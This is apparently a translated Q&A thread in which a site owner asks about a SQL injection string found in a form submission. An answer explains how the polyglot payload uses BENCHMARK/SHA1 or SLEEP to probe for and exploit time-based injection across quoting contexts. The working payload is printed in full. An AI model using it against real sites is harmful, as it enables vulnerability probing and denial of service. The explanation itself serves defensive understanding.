2

有人通过取消表单中的文本字段来注入以下内容：

IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/

你有一个想法，它做什么？对我来说，这看起来像是在尝试放慢速度。

您可以在 google 中找到很多注入的网站（使用此代码）。我认为有一些“超级黑客脚本”用于此目的。它似乎使用“sample@email.tst”作为默认电子邮件地址。有人知道那个脚本吗？

4

1 回答 1

4

它的设计目的是不管输入框的值在旧版本的 MySQL 上是不带引号、单引号还是双引号，以及在较新版本上，休眠 5 秒，保持连接打开，都会对 CPU 造成严重影响。

在每种情况下，如果应用程序容易受到 SQL 注入攻击，则可能会执行拒绝服务攻击，因为长时间保持连接打开可能会导致服务器耗尽资源/可用连接。

-- if unquoted, it sees this:
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))
---and then ignores the rest, which appears commented:        
/*


-- If it's single-quoted, it doesn't see the comment,
-- rather, it terminates the singlequote:
'
-- ...and then sees this: 
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
--- ...and then sees the next part as a single-quoted string terinated in the client
'|


--but if it's a double-quoted, string, it sees the end double-quote:
"
-- ...and runs this:
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
---and then opens a doublequote to be closed in the client
"
-- This is the end of the comment opened in the case of the unquoted client string.
*/

在每种情况下，它都试图对 SHA1 函数的执行进行基准测试，这非常耗费 CPU。BENCHMARK只是一个执行另一个表达式固定次数的函数。在这种情况下，它用于在主机上执行 CPU DOS。

于 2013-10-02T13:06:17.887 回答